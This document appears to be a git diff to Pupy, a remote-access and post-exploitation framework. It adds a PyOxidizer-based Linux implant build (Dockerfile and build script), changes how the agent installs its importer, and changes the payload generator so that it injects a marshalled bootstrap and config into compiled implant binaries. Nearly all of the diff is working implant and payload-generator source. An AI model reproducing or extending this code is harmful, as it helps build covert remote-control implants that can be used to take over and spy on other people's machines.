diff --git a/.gitignore b/.gitignore index 11e5ea18..ffc84337 100644 --- a/.gitignore +++ b/.gitignore @@ -19,6 +19,9 @@ client/sources/*.obj client/sources/_pupy* client/sources/resources +client/pyoxidizer-build/lib/pupy +client/pyoxidizer-build/library_patches_py3 + client/sources-linux/*.o client/sources-linux/*.lin client/sources-linux/*.so @@ -43,3 +46,5 @@ pupy/proxy/proxy build pupy.egg-info +.pupy_history +pupyvenv diff --git a/client/pyoxidizer-build/build_template.sh b/client/pyoxidizer-build/build_template.sh index 47ecbab4..25c4a6bf 100755 --- a/client/pyoxidizer-build/build_template.sh +++ b/client/pyoxidizer-build/build_template.sh @@ -3,10 +3,14 @@ python3 -m pip install pyoxidizer -# symblinks don't work with the build, so let's copy important files +# so let's copy important files necessary for the build cp -r ../../pupy/agent lib/pupy/ cp -r ../../pupy/network lib/pupy/ +cp -r ../../pupy/library_patches_py3 . -pyoxidizer build --release +docker run -ti -v $(pwd):/pupy --rm n1nj4sec/pyoxidizer-builder:linux-x86_64 /bin/bash -c 'export PATH="/build/python/bin:$PATH"; cd /pupy; python3 -m pip install pyoxidizer; pyoxidizer build --release' + +strip -s build/x86_64-unknown-linux-gnu/release/install/pyoxydizer_pupy +echo "saving built template to ~/.pupy/payload_templates/ ..." +mkdir -p ~/.pupy/payload_templates cp ./build/x86_64-unknown-linux-gnu/release/install/pyoxydizer_pupy ~/.pupy/payload_templates/pupyx86-310.lin - diff --git a/client/pyoxidizer-build/linux-builder.Dockerfile b/client/pyoxidizer-build/linux-builder.Dockerfile new file mode 100644 index 00000000..22e7e18f --- /dev/null +++ b/client/pyoxidizer-build/linux-builder.Dockerfile @@ -0,0 +1,81 @@ +# Debian Jessie. +FROM debian@sha256:32ad5050caffb2c7e969dac873bce2c370015c2256ff984b70c1c08b3a2816a0 + +RUN groupadd -g 1000 build && \ + useradd -u 1000 -g 1000 -d /build -s /bin/bash -m build && \ + mkdir /tools && \ + chown -R build:build /build /tools + +ENV HOME=/build \ + SHELL=/bin/bash \ + USER=build \ + LOGNAME=build \ + HOSTNAME=builder \ + DEBIAN_FRONTEND=noninteractive + +CMD ["/bin/bash", "--login"] +WORKDIR '/build' + +RUN for s in debian_jessie debian_jessie-updates debian-security_jessie/updates; do \ + echo "deb http://snapshot.debian.org/archive/${s%_*}/20220429T205342Z/ ${s#*_} main"; \ + done > /etc/apt/sources.list && \ + ( echo 'quiet "true";'; \ + echo 'APT::Get::Assume-Yes "true";'; \ + echo 'APT::Install-Recommends "false";'; \ + echo 'Acquire::Check-Valid-Until "false";'; \ + echo 'Acquire::Retries "5";'; \ + ) > /etc/apt/apt.conf.d/99builder + +RUN apt-get update +RUN apt-get install --force-yes \ + ca-certificates \ + curl \ + file \ + gcc \ + gcc-multilib \ + make \ + musl-tools \ + xz-utils + +# The binutils in Jessie is too old to link the python-build-standalone distributions +# due to a R_X86_64_REX_GOTPCRELX relocation. So install a newer binutils. +RUN curl --insecure https://ftp.gnu.org/gnu/binutils/binutils-2.36.1.tar.xz > binutils.tar.xz && \ + echo 'e81d9edf373f193af428a0f256674aea62a9d74dfe93f65192d4eae030b0f3b0 binutils.tar.xz' | sha256sum -c - && \ + tar -xf binutils.tar.xz && \ + rm binutils.tar.xz && \ + mkdir binutils-objdir && \ + cd binutils-objdir && \ + ../binutils-2.36.1/configure \ + --build=x86_64-unknown-linux-gnu \ + --prefix=/usr/local \ + --enable-plugins \ + --disable-nls \ + --with-sysroot=/ && \ + make -j `nproc` && \ + make install -j `nproc` && \ + cd .. && \ + rm -rf binutils-objdir + +USER build + +RUN curl --insecure https://raw.githubusercontent.com/rust-lang/rustup/ce5817a94ac372804babe32626ba7fd2d5e1b6ac/rustup-init.sh > rustup-init.sh && \ + echo 'a3cb081f88a6789d104518b30d4aa410009cd08c3822a1226991d6cf0442a0f8 rustup-init.sh' | sha256sum -c - && \ + chmod +x rustup-init.sh && \ + ./rustup-init.sh -y --default-toolchain 1.66.0 --profile minimal && \ + ~/.cargo/bin/rustup target add x86_64-unknown-linux-musl + +RUN curl --insecure -L https://github.com/indygreg/python-build-standalone/releases/download/20230507/cpython-3.10.11+20230507-x86_64-unknown-linux-gnu-install_only.tar.gz > python.tar.gz && \ + echo 'c5bcaac91bc80bfc29cf510669ecad12d506035ecb3ad85ef213416d54aecd79 python.tar.gz' | sha256sum -c - && \ + tar -xf python.tar.gz && \ + rm python.tar.gz && \ + echo 'export PATH="$HOME/python/bin:$PATH"' >> ~/.bashrc + +# Force a snapshot of the Cargo index into the image. This should hopefully +# speed up subsequent operations needing to fetch the index. +RUN ~/.cargo/bin/cargo init cargo-fetch && \ + cd cargo-fetch && \ + echo 'pyembed = "0"' >> Cargo.toml && \ + ~/.cargo/bin/cargo update && \ + cd && \ + rm -rf cargo-fetch + diff --git a/client/pyoxidizer-build/pyoxidizer.bzl b/client/pyoxidizer-build/pyoxidizer.bzl index 695c259b..5379ae0f 100644 --- a/client/pyoxidizer-build/pyoxidizer.bzl +++ b/client/pyoxidizer-build/pyoxidizer.bzl @@ -261,7 +261,7 @@ def make_exe(): packages=["http_parser", "pupy", "pupy.agent", "pupy.network"] )) exe.add_python_resources(exe.read_package_root( - path=CWD+"/../../pupy/library_patches_py3", + path=CWD+"/library_patches_py3", packages=["umsgpack"], )) diff --git a/pupy/agent/__init__.py b/pupy/agent/__init__.py index fab1f175..7bfa40b7 100644 --- a/pupy/agent/__init__.py +++ b/pupy/agent/__init__.py @@ -94,7 +94,7 @@ try: # Reset search paths ASAP - #del sys.meta_path[:] + del sys.meta_path[:] del sys.path[:] del sys.path_hooks[:] @@ -861,8 +861,16 @@ def load_pupyimporter(stdlib=None): else: dprint('Install pupyimporter + local packages') + #sys.meta_path=[] sys.path.insert(0, 'pupy://') - sys.path_hooks.append(PupyPackageFinder) + sys.path_hooks.insert(0, PupyPackageFinder) + try: + import _frozen_importlib_external + # fix some missing default python meta_path, for instance with pyoxidizer + if _frozen_importlib_external.PathFinder not in sys.meta_path: + sys.meta_path.append(_frozen_importlib_external.PathFinder) + except: + pass sys.path_importer_cache.clear() diff --git a/pupy/cli/pupygen.py b/pupy/cli/pupygen.py index cd59a468..17299279 100755 --- a/pupy/cli/pupygen.py +++ b/pupy/cli/pupygen.py @@ -53,6 +53,7 @@ from pupy.scriptlets import ( ) from pupy.modules.lib.windows.powershell import obfuscatePowershellScript from pupy.pupylib.PupyCredentials import Credentials, EncryptionError +from pupy.network.lib.convcompat import reprb logger = getLogger('gen') @@ -103,9 +104,11 @@ def get_edit_binary(target, display, path, conf): i = 0 offsets = [] - + is_pyoxidizer = False + if binary.find(b'OxidizedResource', 0): + is_pyoxidizer = True while True: - i = binary.find(b'####---PUPY_CONFIG_COMES_HERE---####\n', i+1) + i = binary.find(b'####---PUPY_CONFIG_COMES_HERE---####', i+1) if i == -1: break @@ -127,22 +130,27 @@ def get_edit_binary(target, display, path, conf): 'pupy.network', 'pupy.agent' ), ignore_native=True, as_dict=True ) + + if is_pyoxidizer: + pyoxidizer_bootstrap = f"import marshal,pupy.agent; pupy.agent.main(config=marshal.loads({marshal.dumps(config)}))#" + new_conf = pyoxidizer_bootstrap.encode('ascii') + new_conf_len = len(pyoxidizer_bootstrap) + else: + new_conf = marshal.dumps([config, pupylib], 2) - new_conf = marshal.dumps([config, pupylib], 2) + logger.debug( + 'First marshalled bytes: %s (total=%d)', + ' '.join( + '{:02x}'.format(bord(c)) for c in new_conf[:64] + ), len(new_conf) + ) + + uncompressed = len(new_conf) + new_conf = pylzma.compress(new_conf) - logger.debug( - 'First marshalled bytes: %s (total=%d)', - ' '.join( - '{:02x}'.format(bord(c)) for c in new_conf[:64] - ), len(new_conf) - ) - - uncompressed = len(new_conf) - new_conf = pylzma.compress(new_conf) - - compressed = len(new_conf) - new_conf = struct.pack('>II', compressed, uncompressed) + new_conf - new_conf_len = len(new_conf) + compressed = len(new_conf) + new_conf = struct.pack('>II', compressed, uncompressed) + new_conf + new_conf_len = len(new_conf) if new_conf_len > HARDCODED_CONF_SIZE: raise Exception( @@ -150,8 +158,10 @@ def get_edit_binary(target, display, path, conf): 'You need to recompile the dll with ' 'a bigger buffer'.format(new_conf_len, HARDCODED_CONF_SIZE) ) - - new_conf = new_conf + os.urandom(HARDCODED_CONF_SIZE-new_conf_len) + if not is_pyoxidizer: + new_conf = new_conf + os.urandom(HARDCODED_CONF_SIZE-new_conf_len) + #else: + # new_conf = new_conf + (b"#"*(HARDCODED_CONF_SIZE-new_conf_len)) logger.debug('Free space: %d', HARDCODED_CONF_SIZE-new_conf_len) @@ -161,7 +171,7 @@ def get_edit_binary(target, display, path, conf): ' ' .join(['{:02x}'.format(bord(c)) for c in new_conf[0:20]]) ) - binary = binary[0:offset]+new_conf+binary[offset+HARDCODED_CONF_SIZE:] + binary = binary[0:offset]+new_conf+binary[offset+len(new_conf):] if binary[:2] == b'MZ': @@ -268,6 +278,8 @@ def get_raw_conf(display, conf, verbose=False): (10, 5, 10), (50, 30, 50), (-1, 150, 300) ]) } + if verbose: + print(config) return config diff --git a/pupy/pupylib/payloads/py_oneliner.py b/pupy/pupylib/payloads/py_oneliner.py index 2fa18c29..5f256578 100644 --- a/pupy/pupylib/payloads/py_oneliner.py +++ b/pupy/pupylib/payloads/py_oneliner.py @@ -27,9 +27,9 @@ def getLinuxImportedModules(): return lines -def pack_py_payload(target, display, conf, autostart=True): +def pack_py_payload(target, display, conf, autostart=True, rustc = True): display(Success('Generating PY payload ...')) - target._rustc = True + target._rustc = rustc # rustc=True force the use of .py files instead of .pyo stdlib = dependencies.importer( target, ( 'pyasn1', 'rsa', 'pyaes',